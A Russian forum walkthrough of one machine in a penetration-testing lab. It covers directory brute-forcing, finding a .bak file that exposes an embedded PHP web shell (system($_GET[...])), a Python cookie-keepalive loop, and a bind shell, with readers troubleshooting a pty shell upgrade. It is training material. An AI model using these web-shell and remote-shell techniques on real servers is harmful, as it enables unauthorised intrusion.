Лаборатория тестирования на проникновение «Test lab v.10» — за гранью хакерских возможностей (8)

<~DarkNode~>

~^M1st3r_Bert0ni^~
Gold Team
19.10.2016
736
2 675
#1
Глава 8
Предыдущая глава
Следующая глава
Оглавление



Доброго времени суток колеги. Очередная статья к вашему вниманию об пентесте эмулированной корпоративной сети.Сегодня мы с вами снова затроним Web Application Pentesting.
  • Вспомним про поиск директорий и файлов на сайте через утилиту dirsearch
  • Найдем ошибки в конфигурации администратора веб приложения
  • Научимся выполнять удаленные команды на вебсервере через найденный встроенный веб шелл
Будем атаковать сегодня машину,которая на топологии сети обозначена как Captcha(192.168.0.7)
2017-01-05-163401_148x187_scrot.png

Ну что же, давайте приступим.
Сперва как обычно пробросим порт:

SSH> -L 80:192.168.0.7:80

Откроем браузер,посмотрим что там у нас:

2017-01-05-170340_1023x529_scrot.png

Похоже на какой то сервис по проверке капчи,только вот саму капчу не видно,видимо картинка не прогрузилась.
Давайте попытаемся обратится по пути картинки (правой кнопкой мышки - копировать путь картинки,и вставим в адресной строке)

2017-01-05-171553_1016x390_scrot.png

примерно такая ссылка у нас :

http://127.0.0.1/sources/473e95ed33afad031b9ef4e66128496ce66b4645f850e91651fdee05f1eaafccd6db3b927d55165bda6523a917a84c698875513082117f7be857875bff89d4b03c2f52b2e29879ec58c90546a5a3b5889f48c48f609ba907350d717c682177e8b2f0f1/captcha.png
Как видим ошибку сервера... Хмм.. Странно.. Давайте поищим директории и файлы утилитой DirSearch:

2017-01-05-172626_886x433_scrot.png

Как видим нашло два текстовых файла:
/readme.txt
/robots.txt

2017-01-05-173309_554x281_scrot.png

2017-01-05-173403_613x356_scrot.png

Смотрим их и видим что в файле robots.txt скрыто от индексирования поисковыми роботами файлы с расширением *.bak. В readme.txt пишут что бы не забыли поудалять все кешированые капчи.

Хм... Видимо бекапы какие то где то лежат и удаляются время от времени... Поискал на сервере возможные бекапы:
index.bak
index.php.bak
config.bak
config.php.bak
и т.д.
Но увы это не дало никаких результатов...

Затем вспоминаем нашу непонятную картинку и пробуем вместо .png указать разрешение .bak

2017-01-05-173605_1023x441_scrot.png

Видим нам предлагает сохранить файл.Ну что ж сохраним и посмотрим что в нем:

2017-01-05-173817_877x139_scrot.png

Ухты) Получаем подсказку в виде кусочка кода на PHP:
КАПЧА сказал(а):
file_put_contents($session_path. /captcha, serialize($_SESSION)); - в случае обращения по $session_path/captcha - на вывод вернется сеарилизованый обьект масива $_SESSION

file_put_contents($session_path. /($_SESSION).php, ?php system($_GET[session]); ? -- а это уже вшитый веб шел
Давайте сначала глянем на сериализованый обьект $_SESSION:
a:1:{s:2:"id";s:198:"e3799776f4aa6ee753dd41b16c496f2166584b1c0749c7ae3d656284a4d68361c23f4cbd11d034ee483d583650556a8117fb7e68c73e6fce77bb16f0a9e16d5a710e1c8fb144ead4b8b1479faa0252ea00134fd441e0a0893138489db02eee1805141a";}
2017-01-05-174925_1023x291_scrot.png

Вот наш масив $_SESSION с одним значением id: 2017-01-05-174935_1023x55_scrot.png

Давайте попробуем заюзать вшитый веб шел:
DarkNode WebShell сказал(а):

http://127.0.0.1/sources/473e95ed33afad031b9ef4e66128496ce66b4645f850e91651fdee05f1eaafccd6db3b927d55165bda6523a917a84c698875513082117f7be857875bff89d4b03c2f52b2e29879ec58c90546a5a3b5889f48c48f609ba907350d717c682177e8b2f0f1/($_SESSION).php?session=id
2017-01-05-182303_1021x287_scrot.png

Но если мы попытаемся выполнить другую команду - то получим 500 ошибку от веб сервера,так как файлы удаляются спустя некоторое время а сессия умерает. Для того что бы придержать файлы на сервере я создам бесконечный цикл обращения по одной куки к главной странице,тогда файлы будут оставатся на месте.

Куки посмотреть можно прям в браузере,любым аддоном для кук браузера или же как я в инженерном меню браузера (в моем случае Firefox)

2017-01-05-181618_1023x524_scrot.png

Далее мой любимий питон и простенький бесконечный цикл обращение с нашими куками:
[hidepl="3,1"]
2017-01-05-181845_454x176_scrot.png
Python:
#!/usr/bin/env python
import requests

url="http://127.0.0.1"
headers={"Cookie":"PHPSESSID=sqs56fn6j5gl102l1e7g834280"}

while True:
    requests.get(url,headers=headers)
[/hidepl]
После чего можно спокойно поднимать bind shell:

2017-01-05-183349_1023x356_scrot.png

2017-01-05-183923_1023x599_scrot.png
Забираем токен :)


Предыдущая глава
Следующая глава
Оглавление

Всем спасибо)
 
Последнее редактирование:

a113

Grey Team
10.12.2016
291
246
#4
как ни прискорбно, но не стандартная :(

Traceback (most recent call last):
File "<pyshell#0>", line 1, in <module>
import requests
ModuleNotFoundError: No module named 'requests'

возможно в kali она автоматически скачивается для работы некоторых программ.
 

<~DarkNode~>

~^M1st3r_Bert0ni^~
Gold Team
19.10.2016
736
2 675
#5
как ни прискорбно, но не стандартная :(

Traceback (most recent call last):
File "<pyshell#0>", line 1, in <module>
import requests
ModuleNotFoundError: No module named 'requests'
Какая версия питона?
В 3-й вроде нету точно а во 2-й должно быть:
Снимок.PNG
 
30.11.2016
11
2
#9

Вложения

Последнее редактирование:

sdfsd

Active member
26.12.2016
30
7
#11
Трудно сказать...
после команды python -c 'import pty;pty.spawn("/bin/bash")' - должно появится переменная среда баша.
как подсказали тут быстрее надо ввести команду,но после export PS1....... получаю >
я сейчас вобще пробросил порт, а 127.0.0.1 говорит 404o_O
 

Dmitry88

Премиум
29.12.2016
117
136
#12
как подсказали тут быстрее надо ввести команду,но после export PS1....... получаю >
я сейчас вобще пробросил порт, а 127.0.0.1 говорит 404o_O
попробуй сразу нс на слушанье поставить, а потом уже исполнить команду. У меня со второго раза вышло. Не смотря на ошибку.
 

sdfsd

Active member
26.12.2016
30
7
#13
попробуй сразу нс на слушанье поставить, а потом уже исполнить команду. У меня со второго раза вышло. Не смотря на ошибку.
кучу вариантов перебрал.Сейчас только id удается выполнить и то с сотого раза.
Для просмотра контента необходимо: Войти или зарегистрироваться
а дальше нивкакую.Поначалу только баш-а получить не мог,а тут вообще непонятка.
 

Dmitry88

Премиум
29.12.2016
117
136
#14
кучу вариантов перебрал.Сейчас только id удается выполнить и то с сотого раза.
Для просмотра контента необходимо: Войти или зарегистрироваться
а дальше нивкакую.Поначалу только баш-а получить не мог,а тут вообще непонятка.
А сессию свою вписал в скрипт ? Она же генерируется каждый раз новая. Соответственно и в кукисах меняется.
 

<~DarkNode~>

~^M1st3r_Bert0ni^~
Gold Team
19.10.2016
736
2 675
#16
Там если не держать сессию скриптом - выполняется только один запрос (первый). Потом вроде как сессия рвется и путь к файлу пропадает.На выходе получаем 500 ошибку сервера.
 

sdfsd

Active member
26.12.2016
30
7
#17
Hi people!!! I am a goofшара!!!
в скрипте при копипасте затер PHPSESSID= кукой. token taken.
Это просто крутяк!!!!!
[doublepost=1484059846,1484059600][/doublepost]
Там если не держать сессию скриптом - выполняется только один запрос (первый). Потом вроде как сессия рвется и путь к файлу пропадает.На выходе получаем 500 ошибку сервера.
Там если не держать сессию скриптом - выполняется только один запрос (первый). Потом вроде как сессия рвется и путь к файлу пропадает.На выходе получаем 500 ошибку сервера.
получил путь к картинке запустил скрипт и bind shell сразу